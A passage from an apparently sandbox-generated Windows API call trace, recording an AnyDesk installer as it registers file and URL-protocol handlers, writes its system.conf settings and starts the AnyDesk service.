0x0 [0180.064] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146a3f0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0180.064] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x6) returned 0x24f4b0 [0180.064] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146a3f0, cbMultiByte=-1, lpWideCharStr=0x24f4b0, cchWideChar=3 | out: lpWideCharStr=",0") returned 3 [0180.064] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x4e) returned 0x3353418 [0180.064] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4b0 | out: hHeap=0x240000) returned 1 [0180.064] RegSetValueExW (in: hKey=0x1bc, lpValueName=0x0, Reserved=0x0, dwType=0x1, lpData="\"C:\\ProgramData\\AnyDesk\\AnyDesk.exe\",0", cbData=0x4e | out: lpData="\"C:\\ProgramData\\AnyDesk\\AnyDesk.exe\",0") returned 0x0 [0180.065] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x3353418 | out: hHeap=0x240000) returned 1 [0180.065] RegCreateKeyExW (in: hKey=0x1b8, lpSubKey="shell", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2001f, lpSecurityAttributes=0x0, phkResult=0x126430, lpdwDisposition=0x0 | out: phkResult=0x126430*=0x1c0, lpdwDisposition=0x0) returned 0x0 [0180.065] RegCreateKeyExW (in: hKey=0x1c0, lpSubKey="open", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2001f, lpSecurityAttributes=0x0, phkResult=0x12643c, lpdwDisposition=0x0 | out: phkResult=0x12643c*=0x1c4, lpdwDisposition=0x0) returned 0x0 [0180.065] RegCreateKeyExW (in: hKey=0x1c4, lpSubKey="command", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2001f, lpSecurityAttributes=0x0, phkResult=0x12643c, lpdwDisposition=0x0 | out: phkResult=0x12643c*=0x1c8, lpdwDisposition=0x0) returned 0x0 [0180.065] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146a41c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 13 [0180.065] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x1a) returned 0x3352bf8 [0180.065] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146a41c, cbMultiByte=-1, lpWideCharStr=0x3352bf8, cchWideChar=13 | out: lpWideCharStr=" --play \"%1\"") returned 13 [0180.065] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x62) returned 0x3353418 [0180.065] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x3352bf8 | out: hHeap=0x240000) returned 1 [0180.065] RegSetValueExW (in: hKey=0x1c8, lpValueName=0x0, Reserved=0x0, dwType=0x1, lpData="\"C:\\ProgramData\\AnyDesk\\AnyDesk.exe\" --play \"%1\"", cbData=0x62 | out: lpData="\"C:\\ProgramData\\AnyDesk\\AnyDesk.exe\" --play \"%1\"") returned 0x0 [0180.066] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x3353418 | out: hHeap=0x240000) returned 1 [0180.066] RegCloseKey (hKey=0x1c8) returned 0x0 [0180.066] RegCloseKey (hKey=0x1c4) returned 0x0 [0180.066] RegCloseKey (hKey=0x1c0) returned 0x0 [0180.066] RegCloseKey (hKey=0x1bc) returned 0x0 [0180.066] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24d890 | out: hHeap=0x240000) returned 1 [0180.066] RegCloseKey (hKey=0x1b8) returned 0x0 [0180.066] RegCreateKeyExW (in: hKey=0x1a4, lpSubKey="AnyDesk", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2001f, lpSecurityAttributes=0x0, phkResult=0x126480, lpdwDisposition=0x0 | out: phkResult=0x126480*=0x1b8, lpdwDisposition=0x0) returned 0x0 [0180.067] RegCreateKeyExW (in: hKey=0x1b8, lpSubKey="Capabilities", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2001f, lpSecurityAttributes=0x0, phkResult=0x126480, lpdwDisposition=0x0 | out: phkResult=0x126480*=0x1bc, lpdwDisposition=0x0) returned 0x0 [0180.067] RegSetValueExW (in: hKey=0x1bc, lpValueName="ApplicationDescription", Reserved=0x0, dwType=0x1, lpData="AnyDesk", cbData=0x10 | out: lpData="AnyDesk") returned 0x0 [0180.068] RegSetValueExW (in: hKey=0x1bc, lpValueName="ApplicationName", Reserved=0x0, dwType=0x1, lpData="AnyDesk", cbData=0x10 | out: lpData="AnyDesk") returned 0x0 [0180.068] RegCreateKeyExW (in: hKey=0x1bc, lpSubKey="FileAssociations", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2001f, lpSecurityAttributes=0x0, phkResult=0x126480, lpdwDisposition=0x0 | out: phkResult=0x126480*=0x1c0, lpdwDisposition=0x0) returned 0x0 [0180.069] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146a36c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0180.069] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x12) returned 0x24d890 [0180.069] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146a36c, cbMultiByte=-1, lpWideCharStr=0x24d890, cchWideChar=9 | out: lpWideCharStr=".anydesk") returned 9 [0180.069] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x20) returned 0x3352bf8 [0180.069] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24d890 | out: hHeap=0x240000) returned 1 [0180.069] RegSetValueExW (in: hKey=0x1c0, lpValueName=".anydesk", Reserved=0x0, dwType=0x1, lpData="AnyDesk.anydesk", cbData=0x20 | out: lpData="AnyDesk.anydesk") returned 0x0 [0180.070] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x3352bf8 | out: hHeap=0x240000) returned 1 [0180.070] RegCloseKey (hKey=0x1c0) returned 0x0 [0180.070] RegCloseKey (hKey=0x1bc) returned 0x0 [0180.070] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x30) returned 0x3353418 [0180.070] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x3e) returned 0x3353450 [0180.070] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x3353418 | out: hHeap=0x240000) returned 1 [0180.070] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x1c) returned 0x3352bf8 [0180.070] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x58) returned 0x3353538 [0180.071] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x3353450 | out: hHeap=0x240000) returned 1 [0180.071] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x3352bf8 | out: hHeap=0x240000) returned 1 [0180.071] RegSetValueExW (in: hKey=0x1ac, lpValueName="AnyDesk", Reserved=0x0, dwType=0x1, lpData="SOFTWARE\\Clients\\Media\\AnyDesk\\Capabilities", cbData=0x58 | out: lpData="SOFTWARE\\Clients\\Media\\AnyDesk\\Capabilities") returned 0x0 [0180.072] SHChangeNotify (wEventId=134217728, uFlags=0x1000, dwItem1=0x0, dwItem2=0x0) [0180.519] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x3353538 | out: hHeap=0x240000) returned 1 [0180.519] RegCloseKey (hKey=0x1b8) returned 0x0 [0180.519] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x33534e0 | out: hHeap=0x240000) returned 1 [0180.519] RegCloseKey (hKey=0x80000000) returned 0x0 [0180.520] RegCloseKey (hKey=0x1b0) returned 0x0 [0180.520] RegCloseKey (hKey=0x1ac) returned 0x0 [0180.520] RegCloseKey (hKey=0x1a4) returned 0x0 [0180.520] RegCloseKey (hKey=0x1a8) returned 0x0 [0180.520] GetLastError () returned 0x0 [0180.521] GetSystemTime (in: lpSystemTime=0x126224 | out: lpSystemTime=0x126224*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0xd, wMilliseconds=0x1ba)) [0180.521] GetCurrentThreadId () returned 0xe08 [0180.521] GetCurrentProcessId () returned 0xe14 [0180.521] GetLastError () returned 0x0 [0180.522] CreateFileW (lpFileName="C:\\ProgramData\\AnyDesk\\system.conf" (normalized: "c:\\programdata\\anydesk\\system.conf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0180.523] LockFileEx (in: hFile=0x1a8, dwFlags=0x0, dwReserved=0x0, nNumberOfBytesToLockLow=0xffffffff, nNumberOfBytesToLockHigh=0xffffffff, lpOverlapped=0x1260c4 | out: lpOverlapped=0x1260c4) returned 1 [0180.524] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x1260e0 | out: lpFileSize=0x1260e0*=0) returned 1 [0180.524] UnlockFileEx (in: hFile=0x1a8, dwReserved=0x0, nNumberOfBytesToUnlockLow=0xffffffff, nNumberOfBytesToUnlockHigh=0xffffffff, lpOverlapped=0x126080 | out: lpOverlapped=0x126080) returned 1 [0180.524] CloseHandle (hObject=0x1a8) returned 1 [0180.524] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x33535d0 | out: hHeap=0x240000) returned 1 [0180.524] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24d890 | out: hHeap=0x240000) returned 1 [0180.524] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24d8b0 | out: hHeap=0x240000) returned 1 [0180.524] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x145f27c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 27 [0180.524] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x36) returned 0x33535d0 [0180.524] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x145f27c, cbMultiByte=-1, lpWideCharStr=0x33535d0, cchWideChar=27 | out: lpWideCharStr="ad.security.update_channel") returned 27 [0180.524] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x36) returned 0x3353610 [0180.525] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x2) returned 0x24f4b0 [0180.525] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x36) returned 0x3353650 [0180.525] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x14) returned 0x24d8b0 [0180.525] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x36) returned 0x3353690 [0180.525] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x3353650 | out: hHeap=0x240000) returned 1 [0180.525] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x33535d0 | out: hHeap=0x240000) returned 1 [0180.525] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1449178, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 24 [0180.526] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x30) returned 0x3353468 [0180.526] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1449178, cbMultiByte=-1, lpWideCharStr=0x3353468, cchWideChar=24 | out: lpWideCharStr="ad.security.update_type") returned 24 [0180.526] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x30) returned 0x33535d0 [0180.526] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x30) returned 0x3353650 [0180.526] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x14) returned 0x24d890 [0180.526] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x30) returned 0x33536d0 [0180.526] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x3353650 | out: hHeap=0x240000) returned 1 [0180.527] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x3353468 | out: hHeap=0x240000) returned 1 [0180.527] GetLastError () returned 0x0 [0180.527] GetSystemTime (in: lpSystemTime=0x126224 | out: lpSystemTime=0x126224*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0xd, wMilliseconds=0x1ba)) [0180.527] GetCurrentThreadId () returned 0xe08 [0180.527] GetCurrentProcessId () returned 0xe14 [0180.527] GetLastError () returned 0x0 [0180.527] CreateFileW (lpFileName="C:\\ProgramData\\AnyDesk\\system.conf" (normalized: "c:\\programdata\\anydesk\\system.conf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0180.528] LockFileEx (in: hFile=0x1a8, dwFlags=0x2, dwReserved=0x0, nNumberOfBytesToLockLow=0xffffffff, nNumberOfBytesToLockHigh=0xffffffff, lpOverlapped=0x126178 | out: lpOverlapped=0x126178) returned 1 [0180.528] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x10) returned 0x24e510 [0180.528] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x36) returned 0x3353758 [0180.528] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x22) returned 0x24fb18 [0180.528] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xe) returned 0x24e528 [0180.528] GetLastError () returned 0xb7 [0180.528] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.528] SetEndOfFile (hFile=0x1a8) returned 1 [0180.528] WriteFile (in: hFile=0x1a8, lpBuffer=0x24fb18*, nNumberOfBytesToWrite=0x22, lpNumberOfBytesWritten=0x126138, lpOverlapped=0x0 | out: lpBuffer=0x24fb18*, lpNumberOfBytesWritten=0x126138*=0x22, lpOverlapped=0x0) returned 1 [0180.530] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24fb18 | out: hHeap=0x240000) returned 1 [0180.530] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x3353758 | out: hHeap=0x240000) returned 1 [0180.531] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e510 | out: hHeap=0x240000) returned 1 [0180.531] UnlockFileEx (in: hFile=0x1a8, dwReserved=0x0, nNumberOfBytesToUnlockLow=0xffffffff, nNumberOfBytesToUnlockHigh=0xffffffff, lpOverlapped=0x126110 | out: lpOverlapped=0x126110) returned 1 [0180.531] CloseHandle (hObject=0x1a8) returned 1 [0180.532] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x3353708 | out: hHeap=0x240000) returned 1 [0180.532] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e4e0 | out: hHeap=0x240000) returned 1 [0180.532] GetLastError () returned 0xb7 [0180.532] CreateFileW (lpFileName="C:\\ProgramData\\AnyDesk\\system.conf" (normalized: "c:\\programdata\\anydesk\\system.conf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0180.533] LockFileEx (in: hFile=0x1a8, dwFlags=0x2, dwReserved=0x0, nNumberOfBytesToLockLow=0xffffffff, nNumberOfBytesToLockHigh=0xffffffff, lpOverlapped=0x126158 | out: lpOverlapped=0x126158) returned 1 [0180.533] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x10) returned 0x24e4e0 [0180.533] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x30) returned 0x3353758 [0180.533] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x10) returned 0x24e510 [0180.533] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x36) returned 0x3353790 [0180.533] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x3c) returned 0x33537d0 [0180.533] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xe) returned 0x24e528 [0180.533] GetLastError () returned 0xb7 [0180.533] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.533] SetEndOfFile (hFile=0x1a8) returned 1 [0180.534] WriteFile (in: hFile=0x1a8, lpBuffer=0x33537d0*, nNumberOfBytesToWrite=0x3c, lpNumberOfBytesWritten=0x126118, lpOverlapped=0x0 | out: lpBuffer=0x33537d0*, lpNumberOfBytesWritten=0x126118*=0x3c, lpOverlapped=0x0) returned 1 [0180.536] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x33537d0 | out: hHeap=0x240000) returned 1 [0180.536] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x3353790 | out: hHeap=0x240000) returned 1 [0180.536] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e510 | out: hHeap=0x240000) returned 1 [0180.536] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x3353758 | out: hHeap=0x240000) returned 1 [0180.536] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e4e0 | out: hHeap=0x240000) returned 1 [0180.536] UnlockFileEx (in: hFile=0x1a8, dwReserved=0x0, nNumberOfBytesToUnlockLow=0xffffffff, nNumberOfBytesToUnlockHigh=0xffffffff, lpOverlapped=0x1260f0 | out: lpOverlapped=0x1260f0) returned 1 [0180.536] CloseHandle (hObject=0x1a8) returned 1 [0180.537] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x3353708 | out: hHeap=0x240000) returned 1 [0180.538] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4b0 | out: hHeap=0x240000) returned 1 [0180.538] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x33536d0 | out: hHeap=0x240000) returned 1 [0180.538] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24d890 | out: hHeap=0x240000) returned 1 [0180.538] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x33535d0 | out: hHeap=0x240000) returned 1 [0180.539] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x3353690 | out: hHeap=0x240000) returned 1 [0180.539] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24d8b0 | out: hHeap=0x240000) returned 1 [0180.539] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e4c8 | out: hHeap=0x240000) returned 1 [0180.539] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x3353610 | out: hHeap=0x240000) returned 1 [0180.539] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x33534a0 | out: hHeap=0x240000) returned 1 [0180.539] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4d0 | out: hHeap=0x240000) returned 1 [0180.539] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x3353468 | out: hHeap=0x240000) returned 1 [0180.539] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24d910 | out: hHeap=0x240000) returned 1 [0180.539] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e4b0 | out: hHeap=0x240000) returned 1 [0180.539] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x3353650 | out: hHeap=0x240000) returned 1 [0180.539] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24d8f0 | out: hHeap=0x240000) returned 1 [0180.539] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24d8d0 | out: hHeap=0x240000) returned 1 [0180.539] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x3353580 | out: hHeap=0x240000) returned 1 [0180.539] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x33534f0 | out: hHeap=0x240000) returned 1 [0180.539] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x3353418 | out: hHeap=0x240000) returned 1 [0180.540] GetLastError () returned 0x0 [0180.540] GetSystemTime (in: lpSystemTime=0x1263e4 | out: lpSystemTime=0x1263e4*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0xd, wMilliseconds=0x1c9)) [0180.540] GetCurrentThreadId () returned 0xe08 [0180.540] GetCurrentProcessId () returned 0xe14 [0180.540] GetLastError () returned 0x0 [0180.540] OpenServiceW (hSCManager=0x51bad8, lpServiceName="AnyDesk", dwDesiredAccess=0xf003f) returned 0x51bbc8 [0180.542] QueryServiceStatusEx (in: hService=0x51bbc8, InfoLevel=0x0, lpBuffer=0x126484, cbBufSize=0x24, pcbBytesNeeded=0x1264b8 | out: lpBuffer=0x126484, pcbBytesNeeded=0x1264b8) returned 1 [0180.543] StartServiceW (hService=0x51bbc8, dwNumServiceArgs=0x2, lpServiceArgVectors=0x126474*="AnyDesk") returned 1 [0191.010] GetLastError () returned 0x0 [0191.010] GetSystemTime (in: lpSystemTime=0x1263e4 | out: lpSystemTime=0x1263e4*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x14, wMilliseconds=0x48)) [0191.010] GetCurrentThreadId () returned 0xe08 [0191.010] GetCurrentProcessId () returned 0xe14 [0191.010] GetLastError () returned 0x0 [0191.011] CloseServiceHandle (hSCObject=0x51bbc8) returned 1 [0191.012] GetLastError () returned 0x0 [0191.012] GetSystemTime (in: lpSystemTime=0x1263f4 | out: lpSystemTime=0x1263f4*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x14, wMilliseconds=0x48)) [0191.012] GetCurrentThreadId () returned 0xe08 [0191.012] GetCurrentProcessId () returned 0xe14 [0191.012] GetLastError () returned 0x0 [0191.012] OpenServiceW (hSCManager=0x51bad8, lpServiceName="AnyDesk", dwDesiredAccess=0x80000000) returned 0x51bbf0 [0191.013] QueryServiceStatusEx (in: hService=0x51bbf0, InfoLevel=0x0, lpBuffer=0x126488, cbBufSize=0x24, pcbBytesNeeded=0x126484 | out: lpBuffer=0x126488, pcbBytesNeeded=0x126484) returned 1 [0191.013] Sleep (dwMilliseconds=0x64) [0194.110] QueryServiceStatusEx (in: hService=0x51bbf0, InfoLevel=0x0, lpBuffer=0x126488, cbBufSize=0x24, pcbBytesNeeded=0x126484 | out: lpBuffer=0x126488, pcbBytesNeeded=0x126484) returned 1 [0195.590] GetLastError () returned 0x0 [0195.590] GetSystemTime (in: lpSystemTime=0x1263f4 | out: lpSystemTime=0x1263f4*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x17, wMilliseconds=0xb0)) [0195.590] GetCurrentThreadId () returned 0xe08 [0195.590] GetCurrentProcessId () returned 0xe14 [0195.590] GetLastError () returned 0x0 [0195.591] CloseServiceHandle (hSCObject=0x51bbf0) returned 1 [0196.052] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x104ad60, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0196.052] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x4) returned 0x24f4d0 [0196.052] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x104ad60, cbMultiByte=-1, lpWideCharStr=0x24f4d0, cchWideChar=2 | out: lpWideCharStr="\\") returned 2 [0196.052] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x30) returned 0x3353430 [0196.052] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x46) returned 0x3353c18 [0196.053] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x3353430 | out: hHeap=0x240000) returned 1 [0196.053] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4d0 | out: hHeap=0x240000) returned 1 [0196.053] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey="", ulOptions=0x0, samDesired=0x2001f, phkResult=0x1264b8 | out: phkResult=0x1264b8*=0x80000000) returned 0x0 [0196.053] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1469c5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0196.053] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x6) returned 0x24f4d0 [0196.053] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1469c5c, cbMultiByte=-1, lpWideCharStr=0x24f4d0, cchWideChar=3 | out: lpWideCharStr="ad") returned 3 [0196.053] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x10) returned 0x24e4b0 [0196.053] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146a628, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 21 [0196.053] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x2a) returned 0x3353430 [0196.053] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146a628, cbMultiByte=-1, lpWideCharStr=0x3353430, cchWideChar=21 | out: lpWideCharStr="URL:AnyDesk Protocol") returned 21 [0196.053] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1469c5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0196.053] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x6) returned 0x24f4b0 [0196.053] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1469c5c, cbMultiByte=-1, lpWideCharStr=0x24f4b0, cchWideChar=3 | out: lpWideCharStr="ad") returned 3 [0196.053] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4b0 | out: hHeap=0x240000) returned 1 [0196.053] RegCreateKeyExW (in: hKey=0x80000000, lpSubKey="AnyDesk", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2001f, lpSecurityAttributes=0x0, phkResult=0x1264b8, lpdwDisposition=0x0 | out: phkResult=0x1264b8*=0x1a4, lpdwDisposition=0x0) returned 0x0 [0196.060] RegSetValueExW (in: hKey=0x1a4, lpValueName="", Reserved=0x0, dwType=0x1, lpData="URL:AnyDesk Protocol", cbData=0x2a | out: lpData="URL:AnyDesk Protocol") returned 0x0 [0196.061] RegSetValueExW (in: hKey=0x1a4, lpValueName="URL Protocol", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0196.062] RegCreateKeyExW (in: hKey=0x1a4, lpSubKey="DefaultIcon", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2001f, lpSecurityAttributes=0x0, phkResult=0x1264b8, lpdwDisposition=0x0 | out: phkResult=0x1264b8*=0x1ac, lpdwDisposition=0x0) returned 0x0 [0196.062] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146a3f0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0196.062] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x6) returned 0x24f4b0 [0196.062] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146a3f0, cbMultiByte=-1, lpWideCharStr=0x24f4b0, cchWideChar=3 | out: lpWideCharStr=",0") returned 3 [0196.062] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x1c) returned 0x3352bf8 [0196.062] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4b0 | out: hHeap=0x240000) returned 1 [0196.062] RegSetValueExW (in: hKey=0x1ac, lpValueName="", Reserved=0x0, dwType=0x1, lpData="AnyDesk.exe,0", cbData=0x1c | out: lpData="AnyDesk.exe,0") returned 0x0 [0196.063] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x3352bf8 | out: hHeap=0x240000) returned 1 [0196.063] RegCreateKeyExW (in: hKey=0x1a4, lpSubKey="shell", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2001f, lpSecurityAttributes=0x0, phkResult=0x1264b8, lpdwDisposition=0x0 | out: phkResult=0x1264b8*=0x1b0, lpdwDisposition=0x0) returned 0x0 [0196.064] RegCreateKeyExW (in: hKey=0x1b0, lpSubKey="open", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2001f, lpSecurityAttributes=0x0, phkResult=0x126470, lpdwDisposition=0x0 | out: phkResult=0x126470*=0x1b4, lpdwDisposition=0x0) returned 0x0 [0196.065] 